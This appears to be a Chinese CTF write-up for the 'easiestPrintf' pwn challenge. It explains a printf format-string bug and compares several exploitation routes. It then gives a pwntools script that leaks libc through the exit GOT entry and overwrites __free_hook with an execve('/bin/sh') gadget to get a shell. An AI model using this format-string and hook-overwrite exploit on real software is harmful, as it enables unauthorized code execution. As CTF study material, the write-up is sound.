Vuln

很明显的printf格式化漏洞,但是程序结束调用了exit

hook free

比赛的时候得知可能有这个思路,在各种调试之后,修改了地址,但是被中断如何传参数进去。。卒。/(ㄒoㄒ)/~~

然后看wp,,彻底吐血。。。sign

原来这样。。。思路真是重要

思路

看到国外的一些wp里有各种思路

  1. 覆盖printf的返回地址。。orz。。但是这里不知道栈地址,也不好泄露,不太好用(暴力也没意义)
  2. 覆盖exit。。这里libc的exit是用int 80的,而且调试发现直接over
  3. 覆盖hook free。 orz。看了linux源码就会发现在超长字符串输入格式化的时候,会调用malloc和free(根据内核版本稍有不一样,不过基本都要开辟堆空间来缓存输出)
  4. atexit 表?? 试了一下,并没有找到这个函数和相关标志。atexit记录exit或者main函数退出后调用的函数列表
  5. exp

当时做第二题找到libc中有现成的execv binsh,但是当时已经没看第一个了。。。

只要把free hook覆盖成改地址即可。。

test

不能远程了,只能本地稍微测试一下。其实在比赛的时候早覆盖成功了,忘了直接找binsh。。sigh

free address: 0xf761c2f0
free hook address: 0xf775e8b0
gadget execve binsh addr: 0xf75e92bf

然后再free那边下断点,就能看到成功覆盖libc的got表了

other

另外,参考printf源码,或者逆向一下libc,就能知道第一个传入free的参数作为free hook的第一个参数(我当时就纠结参数的问题),所以,在覆盖free hook为system之后,找个bss段写binsh,然后直接写 "%(address)s" 指向binsh地址

fake exp

基本就是改了个覆盖地址。。

from pwn import *
import os
import sys

context.log_level = 'debug'
elf = ELF('./easiestPrintf')
LOCAL = True
mine_env = os.environ
mine_env['LD_PRELOAD'] = './dealarm.so'

def exec_fmt(payload):
    io_m = process('./easiestPrintf', env=mine_env)
    io_m.recvuntil('wanna read:')
    io_m.clean()
    io_m.sendline(str(exit_got))
    data = io_m.recvuntil('\n')[:-1]
    lk_exit_addr = int(data, 16)
    print 'leaked addr:', hex(lk_exit_addr)
    io_m.recvuntil('Good Bye')
    io_m.sendline(payload)
    data = io_m.recvuntil('END')
    io_m.close()
    print data
    return data

def lek_fmt_off():
    auto_fmt = FmtStr(exec_fmt)
    print auto_fmt.offset

exit_got = 0x8049FCC
vuln_func_addr = 0x08048771
tmp_bss_addr = 0x804A040

if LOCAL:
    exit_off = 0xB0658
    system_off = 0x03ADA0
    malloc_off = 0x70D80
    malloc_hook_off = 0x1B2768
    printf_off = 0x49670
    free_off = 0x00712F0
    free_hook_off = 0x1B38B0
else:
    exit_off = 0xB732E
    system_off = 0x3E3E0
    malloc_off = 0x75B80
    printf_off = 0x4CC70
    free_off = 0x76110
    free_hook_off = 0x1AA8B8
    execv_offset = 0x3E2BF

def ea_pwn():
    off_fmt = 7
    io_m = process('./easiestPrintf', env=mine_env)
    raw_input('what?')
    io_m.recvuntil('wanna read:')
    raw_input('hehe')
    io_m.clean()
    io_m.sendline(str(exit_got))
    data = io_m.recvuntil('\n')[:-1]
    lk_exit_addr = int(data, 16)
    print 'exit addr:', hex(lk_exit_addr)
    libc_addr = lk_exit_addr - exit_off
    print 'libc addr:', hex(libc_addr)
    malloc_addr = libc_addr + malloc_off
    print 'malloc address:', hex(malloc_addr)
    printf_addr = libc_addr + printf_off
    print 'printf address:', hex(printf_addr)
    free_addr = libc_addr + free_off
    print 'free address:', hex(free_addr)
    free_hook_addr = libc_addr + free_hook_off
    print 'free hook address:', hex(free_hook_addr)
    gadget_execv_addr = 0x3E2BF + libc_addr
    print 'gadget execve binsh addr:', hex(gadget_execv_addr)
    io_m.recvuntil('Good Bye')

    fr_bss_addr = free_hook_addr + 0xB0
    print 'fr bss addr:', hex(fr_bss_addr)

    raw_input('hello?')

    #1
    payload = fmtstr_payload(off_fmt, {free_hook_addr : gadget_execv_addr})
    payload += 'abcdefgh%22$90000x_BBBBBBBB'
    io_m.sendline(payload)
    raw_input('bye?')

    io_m.interactive()

ea_pwn()

results matching ""

    No results matching ""